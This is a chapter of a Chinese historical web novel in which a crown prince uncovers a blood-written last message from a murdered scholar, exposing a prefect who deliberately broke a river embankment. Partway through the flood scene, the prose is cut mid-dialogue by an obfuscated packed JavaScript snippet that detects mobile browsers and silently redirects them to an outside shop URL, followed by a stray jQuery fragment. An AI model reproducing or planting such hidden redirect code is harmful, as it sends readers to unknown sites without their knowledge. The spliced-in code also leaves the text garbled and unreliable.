白柒听到这句话,心里一惊,因为他确实是想攒起来换个大的。
但他想换的东西目前还不能让燕归知道。
白柒连忙打岔,试图让燕归忘了这件事,道:“哪有,太子殿下一诺可比什么都珍贵,我算的可清楚了。”
燕归笑了笑没说话。
这样也好,以白柒的身份在燕皇那也得不到什么好东西,还不如自己给他。
——
接下来的这几天,燕归仿佛什么都没有发现一样,跟着知州在各处逛,遇到百姓就上去问候几句,充分发挥了吉祥物的特性。
但他不对劲的感觉也越来越明显了。
他这几天去的地方很明显全在知州的控制之下,这里的方方面面,每一个人都是他安排好的。
燕归对话的每一个人,全都是问什么答什么,尽可能的言简意赅,而且全都不敢看他,但又非常尊敬。
一个两个这样当然没问题,但人有千面,若是没有人提前再三强调过,怎么可能会出现这样的事情。
暗卫的搜查终于有了眉目。
燕归看着呈上来的漆皮木板条,朱红的漆皮遮掩了背面的血迹,但翻过去看可以发现字字泣血的四个大字:
南岸皆亡
暗卫看着燕归沉下来的脸色,在一旁一五一十地汇报道:“此物是在知州大人后院一处发现的,那处院子原来是一个妾室的住处,难产死后院子就空下来了。”
“这是床幔后的柱子上的,我们看到时这个木片扣下来又被血浆粘上了。”
燕归看向大字上方和下方的两个血团,喉咙里涌上了一股酸意,心好像突然被攥了一下。
第二天知州就带他去过大学士的衣冠冢了,就立在南岸最高的地界,知州说是当天晚上南岸大堤溃决,大学士正好就在岸边顶在最前面和官府兵士一起加固大堤,第一个就被冲走了。
“张大人应该也想看着这片他用生命来保护的百姓吧。”
知州如是说。
可是眼前大学士最后的绝笔告诉他。
□□,而是人祸。
——
一个月前,知州府夜。
听到外面传来的守卫声音,大学士知道自己这一难已是在劫难逃了。
现在的他焦虑的已经不是自己的性命了,而是那些百姓。
那些还不知道自己即将面对什么的百姓。
那些连死了都不会有人知道,甚至还会被顶替名字的百姓。
他想:我总要做些什么。
哪怕生前无能为力,但死后总要有个姓名,不仅是他,还有百姓。
他全他的身后名,他们有个引路帖。
大学士费力地挪动着身体,衣袍已经散乱了,身下是不知哪个姑娘闺房的卧床。
换做平常他必然要道一句有辱斯文,今天却一点心情都没有了。
他的手已经被捆住了,只能费力的挪动身子带着手来找东西。
床幔,不行,很容易被发现。
褥子,不行,万一后面来的人找不到怎么办。
大学士掀开床幔,发现了一个朱红色的床柱,而正巧的是,那里有一道裂隙。
他知道现在侍卫搜查时因为怕里面藏东西之类,这些柱子什么的都会查一下。
大学士几乎老泪纵横,一边默默念着苍天有眼,一边不敢耽误时间。
他顺着裂隙艰难地扣着,总算是扣下来了一块带着漆皮的木片。
他咬咬牙,努力将衣襟挣开,用捆着自己手的麻绳拼命蹭着自己的身体。
绳子很粗糙,在身上用力蹭过的时候有着极其尖锐的痛感。
随着绳子一下下蹭过,已经有了一些血丝出现,大学士怕再蹭下去绳子上会有血迹被发现。
他停下动作,心一横直接将手硬生生转过去,手上传来剧痛,但他依旧不敢停。
手指直接碰上刚刚擦出血丝的伤口,一用力——
手上和身上同时传来剧痛。
大学士哆嗦着刚刚折断的手,强行用力将伤口扣出血。
沾着腹部的血迹,他在木片上写上了四个大字——南岸皆亡。
然后将血迹厚厚地涂在上下两端,拿起木片,费力地举起来,重新贴在柱子上,牢牢地按着,等着它干。
这一切都完成后,大学士转过身来,重重地出了一口气。
他艰难地整理好自己的衣服,藏好身上的伤口,一动不动地靠在床上。
对这间卧房的姑娘暗暗说了句失礼。
为天地立心,为生民立命。
他此生总算是无愧于心,也无愧于民了。
——
天已经蒙蒙亮了。
吱呀一声,门被推开了,一列府兵进了房间。
大学士睁开眼睛,正想着怎么搭话能多一点信息,就被兜头罩了一个麻袋,直接带走了。
他这一路都是被扛着走的,一路天旋地转总算是到了目的地。
他晕晕乎乎地睁开眼睛,看见了一双靴子站在他面前,抬起头来发现竟是知州。
“你想干什么?”
“送大人最后一程。”
大学士张张口,又颓唐地闭上了。
知州挥了挥手,旁边的府兵立马上前,将一块石头绑在他身上,又将他的双脚也绑住,重新塞进了麻袋。
大学士的眼前又黑了。
他听到外面传来知州恭谨而虚伪的声音:“愿大人一路走好。”
在最后意识被洪水吞没的时候,大学士回想起自己这一生,年少为官,一步步走上来,尔虞我诈的朝堂经历过,铁血手段的帝王跟随过,看过京城的繁华,赏过大漠的月亮,教过田间地头的孩子,也给贵族国戚上过课,他本来以为他经历地够了,开始安心在燕京养老,但昨晚他突然发现,他好像还放不下。
他还想用他一生所学,为这个天下做出一点点贡献,但他已经无能为力了。
意识渐渐抽离,大学士内心的最后一抹念想滑过。
读了一辈子圣贤书,但愿下辈子生成将军骨。
得以单刀赴会,荡破黑暗。
——
夜里,湛江大堤南岸。
官府的官兵顶在最前面,之后是这次跟随大学士被派来赈灾的侍卫们,然后是南岸自发前来的百姓们。
“大学士”赫然站在抗洪队伍的最前方。
暴雨呼呼地下着,漆黑的夜里时不时滑过几道闪电,照在大家狼狈且狰狞的脸上。
“快,快点!”
“一二!一二!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561071|142707||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一二!”
所有人都在努力着,试图保住他们身后的这片土地,这是他们这段时间做过无数次的事。
却没想到,意外就发生在下一秒。
黑暗中的暴雨很大,大到哪怕是身边的人都要扯着嗓子说话,大家全都凭借着号子在干活,但突如其来的好像听到了一声近在咫尺的爆炸声。
还来不及反应,滔天的巨浪就掀翻了所有人,转眼间就只剩下奔流的河水。
一切都化为乌有。
——
燕归看着眼前的木板,这是大学士最后的嘱托,他激动得浑身发冷,手抖得不行,脑子却异常清晰。
他看着一旁还在等着他吩咐的暗卫,整理着思路。
南岸的百姓既然全都不在了,那今天他见到的肯定是之后知州找来的人。
大学士的死亡时间是在南岸大堤溃决之时,但他给出了南岸皆亡的提示,说明他已经提前知道了知州的阴谋,南岸应当是知州安排人炸毁的。
他这么做是为了什么呢?
排除异己,他想要借由洪水排除与自己做对的人,只是其他的无辜百姓当了替死鬼。
安排身份,他想用欺上瞒下的手段套用南岸百姓的身份,安排一些人。
燕归暗暗估量着这两种猜测。
若是一,那么死了的那些人就是重点了,若是二,那么重点则是活着的那些人。
他转头吩咐暗卫道:“将这次牺牲的所有官兵和侍卫的资料全部整理一份,以及南岸众百姓的,对照着资料看他们是否符合户籍中的外貌描述。”
古代的户籍,详细记载了人口的样貌和年龄,虽然只是文字描述,但这么多人,总不能一一对上吧。
“继续查知州府的账册。”
既然知州板上钉钉不是个好人,那么燕归是一百个不相信他会把赈灾款用在该用的地方,这个地方之前的财政也不一定是真的。
这说不定也是这次的关键。
暗卫应声下去了。
燕归看着桌上的木片,他不敢想象大学士是经历了什么才会在知州府的后院中给他留下了这一份绝笔。
白柒看他情绪一直没缓过来,怕他一直沉浸在里面对身体不好,默默过来拉了拉他的手。
燕归转头看向他。
因为自己的默许,像这种事白柒已经可以旁听了。
燕归问道:“你怎么看?”
“太子哥哥很厉害。”
白柒接着补充道:“若不是太子哥哥细心,张大人最后的绝笔也不会被人知道,这些百姓可能就真的枉死了,但现在,虽然往事已不可追,但我们可以改变未来,还枉死之人一个公道,将坏人绳之以法,保护更多的人。”
燕归苦笑:“哪里是我厉害,一开始还是你提醒的我。”
白柒道:“但是是太子哥哥先发现了不对劲啊,而且也是您立刻去追查的,若不是这样,哪能发现张大人留下的线索。”
燕归捏着这片木片,将它夹在书里,神色凛然。
转头看向白柒时又带了一丝柔和,道:“我们都很厉害,我、小白、暗卫、张大人,我们每一个人都很厉害。”
我们每个人向前走一点点,这些竭尽所能的一点点,合在一起换一个真相和公道。